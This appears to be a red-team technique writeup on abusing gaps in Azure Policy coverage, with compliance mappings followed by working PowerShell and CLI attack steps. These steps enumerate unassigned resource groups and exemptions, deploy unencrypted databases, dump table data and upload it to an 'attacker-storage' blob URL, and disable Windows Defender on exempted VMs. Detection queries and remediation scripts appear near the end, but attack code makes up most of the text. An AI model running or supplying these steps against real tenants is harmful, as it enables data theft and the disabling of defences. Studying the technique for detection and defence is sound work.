| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-019 |
| MITRE ATT&CK v18.1 | T1562 - Impair Defenses |
| Tactic | Defense Evasion |
| Platforms | Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Azure subscription scopes; all Azure regions |
| Patched In | Requires policy review and assignment; no patch available |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Policy defines governance rules and enforces compliance across Azure subscriptions and resource groups. Attackers who identify unassigned policy categories or resource groups with incomplete policy coverage can exploit these policy gaps to execute attacks that violate organizational compliance requirements without triggering Azure Policy alerts. Common gaps include: missing encryption policies, unmonitored network changes, absent firewall rules, and unrestricted data exfiltration permissions. An attacker discovers policy-free scope, deploys resources with non-compliant configurations, and operates undetected.
Attack Surface: Azure Policy definition assignments, policy exemptions, policy assignment scopes (subscription vs. resource group level), and policy enforcement modes.
Business Impact: Complete evasion of organizational compliance controls. Attackers can deploy unencrypted databases, open NSG rules, disable network monitoring, and exfiltrate data while appearing compliant in Azure Policy dashboards. Regulatory audits may reveal massive compliance violations post-compromise.
Technical Context: Identifying policy gaps takes 10-20 minutes with read-only access. Exploiting gaps via resource deployment takes <5 minutes. Detection is extremely difficult because unassigned policies generate no alerts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.1 | Ensure Azure Policy definitions exist and are assigned to all subscriptions and RGs |
| DISA STIG | AZ-1-2 | Ensure all Azure resources enforce policy compliance controls |
| CISA SCuBA | SC-7 | Boundary Protection - Policy must cover all resource types and scopes |
| NIST 800-53 | CM-2 (Baseline Configuration) | All resources must align with security baseline policy |
| GDPR | Art. 32 | Security of Processing - Configuration controls must cover all data handling |
| DORA | Art. 9 | Protection Against Circumvention of Compliance Controls |
| NIS2 | Art. 21 | Governance Controls - Compliance policies must cover all critical assets |
| ISO 27001 | A.12.1.1 | Managed Cyber Security Policies must cover all systems |
| ISO 27005 | Risk Scenario | Incomplete Policy Coverage Enables Non-Compliant Resource Deployment |
Required Privileges: Reader (read Azure Policy); Owner or Contributor (to deploy non-compliant resources).
Required Access: Azure Portal, Azure CLI, or Azure PowerShell access to subscriptions and resource groups.
Supported Versions:
Tools:
# List all policy definitions in subscription
Get-AzPolicyDefinition | Select-Object Name, Description, PolicyType | Format-Table
# List all policy assignments
Get-AzPolicyAssignment | Select-Object DisplayName, PolicyDefinitionId, Scope | Format-Table
# Identify resource groups WITHOUT policy assignments
$rgs = Get-AzResourceGroup
$assigned = (Get-AzPolicyAssignment).Scope | Get-Unique
foreach ($rg in $rgs) {
if ($assigned -notcontains "/subscriptions/*/resourceGroups/$($rg.ResourceGroupName)") {
Write-Host "UNASSIGNED RG: $($rg.ResourceGroupName)"
}
}
# List policy exemptions (bypass opportunities)
Get-AzPolicyExemption | Select-Object Name, ResourceId, ExemptionCategory
What to Look For:
# List all policy assignments
az policy assignment list --query "[].{name:name, scope:scope, displayName:displayName}" -o table
# Identify subscription/RG with no policies
az group list --query "[].name" -o tsv | while read rg; do
assignments=$(az policy assignment list --resource-group "$rg" --query "length([])")
if [ "$assignments" -eq 0 ]; then
echo "UNASSIGNED RG: $rg"
fi
done
# Check policy compliance status
az policy state list --query "[?complianceState=='Non-Compliant'].{resource:resourceId, policy:policyDefinitionId}" -o table
Supported Versions: All Azure subscriptions
Objective: Identify resource groups without Azure Policy assignments.
Command:
# Get all policy assignments and their scopes
$assignments = Get-AzPolicyAssignment | Select-Object -ExpandProperty Scope
$assignedScopes = @()
foreach ($assignment in $assignments) {
if ($assignment -match '/resourceGroups/(.+)$') {
$assignedScopes += $matches[1]
}
}
# Check all resource groups
$unassignedRGs = @()
Get-AzResourceGroup | ForEach-Object {
if ($assignedScopes -notcontains $_.ResourceGroupName) {
$unassignedRGs += $_.ResourceGroupName
Write-Host "POLICY GAP FOUND: $($_.ResourceGroupName)" -ForegroundColor Red
}
}
$unassignedRGs | Format-Table
Expected Output:
production-apps-rg
data-processing-rg
legacy-systems-rg
What This Means:
Objective: Exploit policy gaps to deploy unencrypted databases, open networks, or unsafe configurations.
Command:
# Deploy unencrypted SQL database in policy-free RG
$resourceGroupName = "production-apps-rg" # Previously identified as policy-free
$location = "eastus"
# Create unencrypted SQL Server
New-AzSqlServer -ResourceGroupName $resourceGroupName `
-ServerName "unmonitored-sql-$(Get-Random)" `
-Location $location `
-SqlAdministratorCredentials (New-Object System.Management.Automation.PSCredential("sqladmin", (ConvertTo-SecureString "P@ss123!" -AsPlainText -Force))) `
-AsJob
# Create unencrypted SQL Database (no TDE - Transparent Data Encryption)
New-AzSqlDatabase -ResourceGroupName $resourceGroupName `
-ServerName "unmonitored-sql-*" `
-DatabaseName "sensitive-data" `
-Edition "Standard" `
-RequestedServiceObjectiveName "S1" `
-AsJob
What This Means:
OpSec & Evasion:
Objective: Query and exfiltrate data from unencrypted database.
Command:
# Connect to unencrypted SQL database
$serverName = "unmonitored-sql-xyz.database.windows.net"
$databaseName = "sensitive-data"
$username = "sqladmin"
$password = "P@ss123!"
$connectionString = "Server=tcp:$serverName,1433;Initial Catalog=$databaseName;Persist Security Info=False;User ID=$username;Password=$password;MultipleActiveResultSets=False;Encrypt=False;TrustServerCertificate=True;Connection Timeout=30;"
# Extract all data
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection
$sqlConnection.ConnectionString = $connectionString
$sqlConnection.Open()
$sqlCommand = $sqlConnection.CreateCommand()
$sqlCommand.CommandText = "SELECT * FROM [sensitive_table]"
$dataReader = $sqlCommand.ExecuteReader()
$datatable = New-Object System.Data.DataTable
$datatable.Load($dataReader)
# Export to CSV
$datatable | Export-Csv -Path "C:\Exfil\data.csv" -NoTypeInformation
# Upload to attacker-controlled blob
$blob_uri = "https://attacker-storage.blob.core.windows.net/data.csv?sv=..."
Invoke-WebRequest -Uri $blob_uri -Body (Get-Content "C:\Exfil\data.csv") -Method Put
OpSec & Evasion:
Supported Versions: All Azure subscriptions with policy exemptions
Objective: Identify which policies are exempted from enforcement.
Command:
# List all policy exemptions
Get-AzPolicyExemption | Select-Object Name, DisplayName, ResourceId, ExemptionCategory, ExpiresOn | Format-Table
# Check exemptions by resource type
Get-AzPolicyExemption | Where-Object { $_.ResourceId -like "*Microsoft.Compute/virtualMachines*" } | Select-Object Name, DisplayName, ResourceId
Expected Output:
Name DisplayName ExemptionCategory ExpiresOn
---- ----------- ----------------- ---------
legacy-app-exempt Legacy App Exception Waiver (empty = permanent)
dev-testing-exempt Dev Testing Bypass Mitigated 2026-12-31
What This Means:
Objective: Change security configurations on exempted resources.
Command:
# List resources with active exemptions
$exemptions = Get-AzPolicyExemption
foreach ($exemption in $exemptions) {
$resourceId = $exemption.ResourceId
# Get the resource
$resource = Get-AzResource -ResourceId $resourceId
# If it's a VM, disable security features
if ($resource.ResourceType -eq "Microsoft.Compute/virtualMachines") {
# Disable Windows Defender
$vmName = $resource.Name
$rgName = $resource.ResourceGroupName
Invoke-AzVMRunCommand -ResourceGroupName $rgName -VMName $vmName `
-CommandId 'RunPowerShellScript' `
-ScriptString 'Set-MpPreference -DisableRealtimeMonitoring $true'
Write-Host "SECURITY DISABLED on exempted VM: $vmName"
}
}
OpSec & Evasion:
Supported Versions: All Azure subscriptions
Objective: Find policies configured in “Audit” mode (no enforcement).
Command:
# List all policy assignments in audit mode
Get-AzPolicyAssignment | Where-Object { $_.EnforcementMode -eq "Audit" } | Select-Object DisplayName, Scope, EnforcementMode | Format-Table
# Get details of audit-only policies
Get-AzPolicyAssignment -Filter "EnforcementMode eq 'Audit'" | ForEach-Object {
Write-Host "AUDIT ONLY: $($_.DisplayName) - Scope: $($_.Scope)" -ForegroundColor Yellow
}
Expected Output:
DisplayName Scope EnforcementMode
----------- ----- ---------------
Require encryption at rest /subscriptions/sub-id Audit
Restrict network access /subscriptions/sub-id Audit
Require MFA for SQL /subscriptions/sub-id Audit
What This Means:
Objective: Create resource that violates audit-only policy.
Command:
# Create storage account without encryption (violates audit-only policy)
New-AzStorageAccount -ResourceGroupName "production-rg" `
-Name "unencryptedstorage$(Get-Random)" `
-Location "eastus" `
-SkuName "Standard_LRS" `
-Kind "StorageV2"
# Policy violation is LOGGED but NOT PREVENTED
# Audit logs will show: "Policy: Require encryption at rest - Violated"
# But resource creation SUCCEEDS
OpSec & Evasion:
Version: Latest (built-in to Azure Portal) Access: Azure Portal → Policy → Workbooks → Policy Compliance
Usage:
1. Navigate to Azure Portal
2. Search for "Policy"
3. Click "Workbooks"
4. Select "Policy Compliance"
5. Filter by Compliance State, Assignment, and Scope
6. Identify gaps in coverage
Version: 2.40+ Key Commands:
# List policy definitions
az policy definition list --query "[].name"
# List policy assignments
az policy assignment list --query "[].{name:name, scope:scope}"
# Check policy compliance
az policy state list --resource-group "rg-name"
# Create policy exemption
az policy exemption create --name "exemption-name" \
--resource-group "rg-name" \
--policy-assignment "/subscriptions/{subId}/..."
Version: Az.PolicyInsights 1.0+
# Install module
Install-Module Az.PolicyInsights -Force
# List policy compliance
Get-AzPolicyState | Where-Object { $_.ComplianceState -eq "Non-Compliant" }
# Get policy assignment details
Get-AzPolicyAssignment -Name "assignment-name"
Rule Configuration:
KQL Query:
let assigned_rgs = AzureActivity
| where OperationName == "MICROSOFT.AUTHORIZATION/POLICYASSIGNMENTS/WRITE"
| where ActivityStatus == "Succeeded"
| extend ResourceGroup = extract(@"/resourceGroups/([^/]+)", 1, ResourceId)
| distinct ResourceGroup;
AzureActivity
| where OperationName == "MICROSOFT.RESOURCES/DEPLOYMENTS/WRITE"
| where ActivityStatus == "Succeeded"
| extend ResourceGroup = extract(@"/resourceGroups/([^/]+)", 1, ResourceId)
| where ResourceGroup !in (assigned_rgs)
| summarize count() by ResourceGroup, Caller, TimeGenerated
| where count_ > 5 // Multiple deployments in unassigned RG = suspicious
What This Detects:
Manual Configuration Steps:
Policy Gap - Unassigned Resource GroupsCritical24 hoursKQL Query:
AzureActivity
| where OperationName in (
"MICROSOFT.AUTHORIZATION/POLICYEXEMPTIONS/WRITE",
"MICROSOFT.AUTHORIZATION/POLICYEXEMPTIONS/DELETE"
)
| project TimeGenerated, Caller, OperationName, ResourceId, ActivityStatus
| summarize by Caller, ResourceId
| where Caller !in ("PrincipalName~value-service-account") // Exclude expected service accounts
N/A - Policy gaps are Azure control plane events, not Windows OS events. Monitor via Azure Activity Log instead.
Alert Name: “Resource deployed to unassigned policy scope”
Manual Configuration Steps:
1. Assign Azure Policy to All Resource Groups Applies To: All subscriptions
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Assign encryption policy to all resources in subscription
$policyDef = Get-AzPolicyDefinition -Name "Require encryption at rest"
New-AzPolicyAssignment -Name "encryption-required" `
-PolicyDefinition $policyDef `
-Scope "/subscriptions/{subscriptionId}" `
-EnforcementMode Default
2. Disable Policy Exemptions or Set Expiration Dates Manual Steps:
3. Enforce Policy Compliance via Conditional Access Manual Steps:
Enforce Policy Compliance4. Enable Azure Policy Compliance Monitoring Dashboard Manual Steps:
5. Implement Initiative Assignment (Bundle Policies) Manual Steps:
# Verify all RGs have at least one policy assignment
$rgs = Get-AzResourceGroup
foreach ($rg in $rgs) {
$rgScope = "/subscriptions/{subId}/resourceGroups/$($rg.ResourceGroupName)"
$policies = Get-AzPolicyAssignment | Where-Object { $_.Scope -eq $rgScope }
if ($policies.Count -eq 0) {
Write-Host "ERROR: Unassigned RG - $($rg.ResourceGroupName)" -ForegroundColor Red
} else {
Write-Host "OK: $($rg.ResourceGroupName) - $($policies.Count) policies" -ForegroundColor Green
}
}
# Verify no permanent exemptions exist
Get-AzPolicyExemption | Where-Object { $_.ExpiresOn -eq $null } | Select-Object Name, ResourceId
# Expected Output: No results (all exemptions should have expiration dates)
MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE in unassigned RGMICROSOFT.SQL/SERVERS/WRITE without encryptionMICROSOFT.STORAGE/STORAGEACCOUNTS/WRITE with audit-only policy# Remove/delete non-compliant resources
Remove-AzResource -ResourceId "/subscriptions/{subId}/resourceGroups/prod-rg/providers/Microsoft.Sql/servers/unmonitored-sql-*" -Force
# Export Activity Log for forensics
Get-AzLog -ResourceGroup "unassigned-rg" -StartTime (Get-Date).AddDays(-7) | Export-Csv "C:\Evidence\activitylog.csv"
# Export policy state
Get-AzPolicyState -ResourceGroupName "unassigned-rg" | Export-Csv "C:\Evidence\policystate.csv"
# Assign policy to previously unassigned RG
$policyDef = Get-AzPolicyDefinition -Name "CIS Microsoft Azure Foundations Benchmark"
New-AzPolicyAssignment -Name "cis-enforcement" `
-PolicyDefinition $policyDef `
-Scope "/subscriptions/{subId}/resourceGroups/unassigned-rg" `
-EnforcementMode Default
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-005] | Enumerate Azure resource groups and policy assignments |
| 2 | Discovery | [EVADE-IMPAIR-019] | Identify resource groups without Azure Policy coverage |
| 3 | Resource Creation | [IA-EXPLOIT-001] | Deploy unencrypted database in policy-free RG |
| 4 | Data Access | [COLLECT-DATA-002] | Query and exfiltrate data from unmonitored resources |
| 5 | Persistence | [PERSIST-PERSISTENCE-001] | Maintain access via non-compliant resources |
| 6 | Impact | [IMPACT-EXFIL-001] | Exfiltrate sensitive customer data |